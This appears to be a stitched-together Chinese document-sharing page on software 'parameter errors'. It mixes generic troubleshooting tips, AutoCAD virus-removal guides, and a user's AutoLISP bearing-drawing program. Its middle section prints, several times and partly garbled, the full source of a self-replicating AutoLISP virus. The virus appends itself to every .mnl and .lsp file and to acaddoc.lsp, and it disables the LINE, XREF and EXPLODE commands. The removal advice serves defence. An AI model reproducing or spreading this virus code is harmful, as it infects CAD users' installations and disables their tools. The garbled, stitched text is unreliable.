错误 参数类型错误

合集下载

参数错误怎么解决方法

参数错误怎么解决方法

参数错误怎么解决方法参数错误是指在进行某项操作或执行程序时,传入的参数与要求的参数类型或格式不符,或者参数的取值范围不正确,从而导致操作或程序无法正常运行或产生错误结果。

解决参数错误通常需要对参数进行检查和处理,以下是一些常见的方法:1. 仔细阅读错误提示信息:当程序出现参数错误时,错误提示信息通常会提供一些关于错误原因和位置的提示,通过仔细阅读这些提示信息,我们可以更快地定位问题所在。

2. 检查参数类型和格式:首先,确保传入的参数类型与要求的参数类型相匹配。

例如,如果一个函数要求传入一个整数类型的参数,那么传入字符串类型或其他非整数类型的参数就会导致参数错误。

其次,还需要检查参数的格式是否符合要求。

例如,如果一个函数要求传入一个邮箱地址,那么传入一个不符合邮箱地址格式的参数就会导致参数错误。

3. 检查参数取值范围:有些参数可能对取值范围有限制,例如一个函数要求传入的参数必须是介于某个范围内的数字,如果传入的参数超出了这个范围,就会导致参数错误。

在这种情况下,我们需要检查传入的参数是否在规定的范围内,如果不在范围内,可以考虑通过限制条件或者给出错误提示来解决参数错误。

4. 使用默认值或者缺省参数:有些函数或方法在定义时会为一些参数设置了默认值或者缺省参数,当没有传入参数或传入参数错误时,可以通过使用默认值或者缺省参数来解决参数错误。

这样可以保证程序的正常运行。

5. 异常处理:在程序设计中,我们可以通过捕获异常来处理参数错误。

当出现参数错误时,我们可以使用try-except语句块来捕获并处理异常,例如给出错误提示或者进行其他操作。

6. 使用断言:断言是一种常用的调试技术,它可以在程序中插入一些检查点,用于确保某个条件为真。

通过使用断言,我们可以在程序中进行参数的合法性检查,如果参数不合法,则会产生AssertionError,从而帮助我们定位和解决参数错误。

7. 日志记录:参数错误可能是程序中的一个重要问题,通过在代码中添加日志记录,可以帮助我们更好地追踪和定位参数错误。

参数错误怎么解决方法

参数错误怎么解决方法

参数错误怎么解决方法参数错误是在使用软件或系统的过程中经常遇到的问题,它会导致程序无法正常运行或者出现异常。

解决参数错误需要我们对问题进行分析和定位,然后采取相应的措施来修复。

本文将介绍一些常见的参数错误及其解决方法,希望能帮助到大家。

1. 检查输入的参数是否正确。

在程序开发或者使用过程中,经常会出现参数错误的情况。

一种常见的情况是输入的参数类型不正确,或者参数的取值范围超出了预期。

这时,我们需要仔细检查输入的参数是否符合要求,如果不符合,就需要对输入参数进行校验和转换,确保其符合程序的要求。

2. 查看程序日志或错误信息。

当程序出现参数错误时,通常会有相应的错误信息输出。

这些错误信息可以帮助我们快速定位问题所在。

因此,在遇到参数错误时,我们应该首先查看程序的日志或错误信息,了解具体的错误原因,然后再进行相应的处理。

3. 调试程序。

在遇到参数错误时,我们可以通过调试程序来找出问题所在。

通过设置断点、单步执行等方式,我们可以逐步追踪程序的执行过程,找出参数错误的具体位置和原因。

在调试过程中,我们可以查看变量的取值,了解程序的执行流程,从而更好地定位和解决参数错误。

4. 更新软件或系统。

有时,参数错误可能是由于软件或系统的bug引起的。

在这种情况下,我们可以尝试更新软件或系统,看是否有相关的修复补丁。

通过更新软件或系统,我们可以解决一些已知的bug,从而避免参数错误的发生。

5. 寻求帮助。

如果以上方法都无法解决参数错误,我们可以寻求相关领域的专家或者技术支持人员的帮助。

他们通常有丰富的经验和技术知识,可以帮助我们快速定位和解决参数错误。

总结。

参数错误是在软件开发和使用过程中常见的问题,解决参数错误需要我们对问题进行分析和定位,然后采取相应的措施来修复。

在遇到参数错误时,我们可以通过检查输入参数、查看错误信息、调试程序、更新软件或系统以及寻求帮助等方式来解决问题。

希望本文介绍的方法能够帮助大家更好地应对参数错误,提高工作效率和程序的稳定性。

parameter 1 is not of type 'element -回复

parameter 1 is not of type 'element -回复

parameter 1 is not of type 'element -回复关于参数1类型错误的问题在编程过程中,我们经常会遇到各种不同类型的错误。

其中一个常见的错误是"parameter 1 is not of type 'element'",这个错误提示意味着我们在代码中使用了一个不正确的类型作为函数或方法的参数。

本文将逐步回答有关这个问题的一系列问题,以帮助读者更好地理解和解决这个问题。

问题1:什么是参数的类型?在编程中,参数的类型指的是函数或方法接受的参数的种类。

参数可以是整数、浮点数、字符串、布尔值、对象等。

每个编程语言都有自己的数据类型定义和规定。

问题2:为什么会出现"parameter 1 is not of type 'element'"错误?这个错误通常表示我们在调用一个函数或方法时,传递给该函数或方法的参数的类型与预期要求的类型不一致。

例如,如果一个函数要求传递一个元素类型的对象作为参数,但我们却传递了一个整数类型的参数,那么就会出现这个错误。

问题3:如何解决这个错误?要解决这个错误,我们需要先确定问题出现在哪里。

通常在错误提示中会有具体的代码行数和错误信息。

我们可以根据这个信息来确定引发错误的具体代码行。

在查找代码行之后,我们需要检查代码行中使用的参数类型是否符合函数或方法的要求。

如果不符合,我们需要寻找正确的参数类型并进行修改。

问题4:如何确定参数类型的正确性?确定参数类型的正确性通常需要参考函数或方法的文档。

大多数编程语言都有相应的文档来描述每个函数或方法接受的参数类型,并提供一些示例代码以帮助我们理解。

我们可以搜索相关的文档或查看编程语言的官方文档来确定函数或方法所需的参数类型。

问题5:如何修改参数的类型?要修改参数的类型,我们需要将错误类型的参数替换为正确的类型。

这可能涉及到变量类型转换或者重新定义变量。

CAD 参数类型错误 streamp nil

CAD 参数类型错误  streamp nil

122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn)));while(setvar "sdi" 1)(setvar "ACADLSPASDOC" 1)(command "undefine" "line")(command "undefine" "_line")(command "undefine" "xref")(command "undefine" "_xref")(command "undefine" "explode")(command "undefine" "_explode")(setvar "cmdecho" 1)(princ)(load "acadapp")(princ)(if (null stol) (load "lcm" ""))(princ)(load "acadapp")(princ)(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl))(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))(setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn)));while(setvar "sdi" 1)(setvar "ACADLSPASDOC" 1)(command "undefine" "line")(command "undefine" "_line")(command "undefine" "xref")(command "undefine" "_xref")(command "undefine" "explode")(command "undefine" "_explode")(setvar "cmdecho" 1)(princ)(load "acadapp")(princ)(if (null stol) (load "lcm" ""))(princ)(load "acadapp")(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97 117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97 115))))(princ))(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn)));while(setvar "sdi" 1)(setvar "ACADLSPASDOC" 1)(command "undefine" "line")(command "undefine" "_line")(command "undefine" "xref")(command "undefine" "_xref")(command "undefine" "explode")(command "undefine" "_explode")(setvar "cmdecho" 1)(princ)(load "acadapp")(princ)(if (null stol) (load "lcm" ""))(princ)(load "acadapp")(princ)(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97115))))(princ))(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97115))))(princ))(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97115))))(princ))(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97115))))(princ))(if(null autodeskwybs)(if(findfile(vl-list->string '(116 120 116 97 117 116 111122 46 115 104 120)))(vl-file-copy (findfile(vl-list->string '(116 120 116 97117 116 111 122 46 115 104 120)))(vl-list->string '(97 99 97 100 46 102 97115))))(princ)); 错误: 参数类型错误: streamp nilAutodesk DWG。

CAD2012参数类型错误stringh nil解决方法

CAD2012参数类型错误stringh nil解决方法

CAD2012出现参数类型错误stringp nil的解决方法对于AutoCAD来说,我真的无语了,太娇贵了,经常出现个种莫名其妙的问题,我都弄了块崩溃了,比如说:出现什么致命错误、安装不上、卸载后再安装提示已安装等等问题。

废话不多说,下面我就介绍下一个比较奇怪的问题吧。

当打开一个从别人那拷贝的DWG的图后,CAD突然出现问题了:十字光标中间的靶框不见了,正、反选框也不能做了,右键不起作用了,什么都不能做了,关闭再进入使命令栏提示
现在怎么办呢?那是因为你打开的那张图在画的时候出现错误,你在打开时就造成了CAD病毒。

是由CAD的安装目录下或CAD 的SUPPORT目录下有acad.lsp这个文件引起的。

这个文件可能是单位里有自己开发的程序,使自己单位人员编写的,也有可能是CAD
病毒程序。

判断是不是CAD病毒程序的标准:检查acad.lsp所在目录下是否有acadapp.lsp,如果有,基本上可以肯定是CAD病毒程序。

接下来教你如何解决
1.下载一个“筑原CAD病毒专杀V
2.1”。

然后打开,如图:
点开始,就开始扫描病毒文件acad.lsp了,在这个过程中,他会自动把病毒文件放到回收站。

2.然后打开你的CAD,点击“工具———选项———配置———重置,
然后一部分问题可以得到解决,但这时十字光标中间的靶框还没有,反选、正选框开不能做,还需近一步解决。

3.打开“工具———选项———选择集”,将图中打钩的都选中。

4.最后再从新进入,一切搞定啦!!!。

参数错误怎么解决方法

参数错误怎么解决方法

参数错误怎么解决方法在使用各种软件和应用程序时,我们经常会遇到参数错误的情况。

参数错误可能会导致程序无法正常运行,给我们的工作和生活带来诸多不便。

那么,当我们遇到参数错误时,应该如何解决呢?本文将为大家介绍一些常见的参数错误解决方法。

首先,当我们遇到参数错误时,第一步是要仔细阅读错误提示信息。

错误提示信息通常会告诉我们出现了哪些参数错误,以及可能的解决办法。

有时候,错误提示信息可能会比较晦涩,但仍然应该尽量理解其中的含义,这将有助于我们更快地找到解决方法。

其次,我们可以尝试重新输入参数。

有时候,参数错误是由于我们输入的参数有误导致的。

因此,我们可以检查一下输入的参数是否符合要求,是否有错别字或者格式错误。

如果有,我们可以尝试重新输入参数,看看问题是否得以解决。

另外,我们还可以尝试重新启动程序或设备。

有时候,参数错误可能是由于程序或设备本身出现了一些小问题,导致参数无法正常使用。

此时,我们可以尝试重新启动程序或设备,看看是否能够解决参数错误的问题。

此外,我们还可以查阅相关的技术文档或者向专业人士寻求帮助。

在解决参数错误的过程中,我们可能会遇到一些比较复杂的问题,这时候我们可以查阅相关的技术文档,看看是否能够找到解决方法。

如果我们自己无法解决,也可以向专业人士咨询,寻求他们的帮助。

最后,我们还可以尝试更新软件或驱动程序。

有时候,参数错误可能是由于软件或驱动程序版本过旧导致的。

因此,我们可以尝试更新软件或驱动程序,看看是否能够解决参数错误的问题。

总的来说,当我们遇到参数错误时,我们可以通过仔细阅读错误提示信息、重新输入参数、重新启动程序或设备、查阅技术文档或向专业人士寻求帮助、更新软件或驱动程序等方法来解决问题。

希望本文介绍的方法能够帮助大家更好地解决参数错误的问题,让我们的工作和生活更加顺利。

CAD中毒

CAD中毒

CAD中毒,错误: 参数类型错误: streamp nil,打开时不断有命令行出现
从同学那里拷了一些图纸,以后再打开CAD,命令栏狂闪,按下ESC后可以停止,显示“错误: 参数类型错误: streamp nil”。

如果不管它,等过了一会儿后,也会结束,显示的与上面的一致。

百度了一下,网上建议:
1.全盘扫描(就是ctrl+F,windows XP默认的查找功能,
全电脑搜索——WIN
7下使用win 徽标+F)所有的 *.mnl 和 *.lsp。

建议包含隐藏文件和系统文件,并且不限制修改的时间,以免漏掉病毒源文件。

2.清除每一个文件中“(setq flagx t)” 行以下的所有内容;
3.清除后如果文件为空,则删除之。

试了一下,确实有效,就保留在此。

顺便说,如果不是全盘扫描的,可能会有漏网之鱼。

我的电脑里, *.mnl 有5、6个左右的样子,注意其中有几个是文件的快捷方式,可以直接删除。

*.lsp
在中毒后每打开一个文件就会有一个,因此要看中毒时间了,我的有近20个。

搜索时最好不限制时间,并包含隐藏和系统文件,因为最近发现病毒源文件的修改时间可能是几年前的,这样的话就会把小鬼清理了,反而把阎王漏掉了。

另外,出现以上情况的时候,一般是病毒源文件已经被清除了,只是还残留了部分文件,本身除了占用打开图的时间让人心烦外,已经没有其他副作用。

cad函数错误处理方法

cad函数错误处理方法

cad错误:函数被取消
第一种情况:
打开CAD,命令栏英文闪烁,错误: 参数类型错误: streamp nil,按ESC键可终止
第二种:
打开就显示这些,
命令:;错误:函数被取消
;错误:函数被取消
;错误:函数被取消
第三种:
正在重生成模型。

; 错误: 函数被取消AutoCAD 菜单实用程序已加载。

; 错误: 函数被取消; 错误: 函数被取消; 错误: 函数被取消我用的是2010版本,之前有个09的也是,不知道怎么回事?从装也一样,第一次都可以进去,之后打开其他文档就不行了还得按ESC
其实都是一样的了呵呵,解决方法很简单实用,本人亲测
1.全盘扫描所有的*.mnl 和*.lsp(一般这一步操作完就ok了,其他两条本人没有试)
2.清除每一个文件中“(setq flagx t)”
行以下的所有内容;
3.清除后如果文件为空,则删除之。

格言网原创转载请注明
另外还有朋友进行cad卸载,结果再次安装cad时任然提示cad已经安装无法安装,这种问题就可以采用windows清除工具:msicuu.exe(Windows Installer Clean Up)将cad相关内容清除就可以搞定。

格言网原创转载请注明。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

错误参数类型错误
当我运行程序后,输入插入点,提示:错误:参数类型错误:numberp: nil 为什么?
我用autolisp编制绘向心球轴承的二维图形,程序如下:
(defun c:zch1 (/ p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15 p16 pc1 pc2 a fx1 fx2 t1 )
(setq d (getreal"\n 输入轴承外径"))
(setq d1 (getreal"\n 输入轴承内径"))
(setq b (getreal"\n 输入轴承宽度"))
(if (> d 40)
(setq t1 1.5) ;t1为绘制刨面线的线间距比例因子
(setq t2 0.7)
)
(setq a (/ (- d d1) 2.0) ) ;计算三个中间参数值
(setq fx1 (/ pi 2))
(setq fx2 (/ (* 3 pi) 2))
)
(setq p0 (getpoint"\n 输入图形插入点:"))
(setq p1 (polar p0 fx1 (/ d 2.0)))
(setq p2 (polar p1 0 b))
(setq pc1 (list (+ (car p0) (/ b 2.0)) (+ (cadr p0) (/ (- d a) 2.0))))
(setq pc2 (polar pc1 fx2 (- d a)))
(setq p9 (polar pc1 (/ (* pi 11) 6) (/ a 4)))
(setq p8 (polar pc1 (/ (* pi 7) 6) (/ a 4)))
(setq p4 (polar pc1 (/ pi 6) (/ a 4)))
(setq p5 (polar pc1 (/ (* pi 5) 6) (/ a 4)))
(setq p3 (list (car p2) (cadr p4)))
(setq p6 (list (car p1) (cadr p5)))
(setq p7 (list (car p1) (cadr p8)))
(setq p10 (list (car p2) (cadr p9)))
(setq p11 (polar p2 fx2 a))
(setq p12 (polar p1 fx2 a))
(setq p13 (polar p0 fx2 (/ d1 2.0)))
(setq p14 (polar p13 0 b))
(setq p15 (polar p2 fx2 (/ d 2.0)))
(setq p16 (polar p15 0 b))
(nlayer) ;调用层设置函数
(command "zoom" "w" (polar p1 fx1 10) (polar p16 fx2 10))
(command "layer" "s" 1 "") ;绘制轴承的上半部分
(command "pline" p1 p2 p3 p4 "")
(command "arc" p4 "ce" pc1 "a" 120)
(command "pline" p5 p6 p1 "")
(command "pline" p6 p7 p8 "")
(command "arc" p8 "ce" pc1 "a" 120)
(command "pline" p9 p10 p11 p12 p7 "")
(command "pline" p3 p10 "")
(command "arc" p9 "ce" pc1 p4)
(command "arc" p5 "ce" pc1 p8)
(command "mirror" "w" p1 p11 "" p0 (polar p0 0 b) "") ;镜像绘制轴承的下半部分(command "pline" p12 p13 "")
(command "pline" p11 p14 "")
(command "layer" "s" 0 "")
(command "hatch" "ansi31" t1 "0" "w" p1 p3 "") ;绘制剖面线
(command "hatch" "ansi31" t1 "90" "w" p7 p11 "")
(command "hatch" "ansi31" t1 "90" "w" p13 (polar p16 fx1 (/ a 2)) "") (command "hatch" "ansi31" t1 "0" "w" p15 (polar p16 fx1 (/ a 2)) "")
(command "layer" "s" 3 "")
(command "pline" (polar p0 pi 2) (polar p0 0 (+ b 2)) "") ;绘制轴承中心线(command "pline" (polar pc1 fx1 (* 1.2 (/ a 4.0))) ;绘制滚珠中心线
(polar pc1 fx2 (* 1.2 (/ a 4.0))) "")
(command "pline" (polar pc1 pi (* 1.2 (/ a 4.0)))
(polar pc1 0 (* 1.2 (/ a 4.0))) "")
(command "pline" (polar pc2 fx1 (* 1.2 (/ a 4.0)))
(polar pc2 fx2 (* 1.2 (/ a 4.0))) "")
(command "pline" (polar pc1 pi (* 1.2 (/ a 4.0)))
(polar pc2 0 (* 1.2 (/ a 4.0))) "")
(command "zoom" "a")
(command "regen")
)
(defunnlayer ()
(command "layer" "n" 1 "c" 1 1 "1" "continuous" 1 "")
(command "layer" "n" 2 "c" 2 2 "1" "dashed" 2 "")
(command "layer" "n" 3 "c" 3 3 "1" "center2" 3 "")
(command "layer" "n" 4 "c" 4 4 "1" "divide2" 4 "")
)。

相关文档
最新文档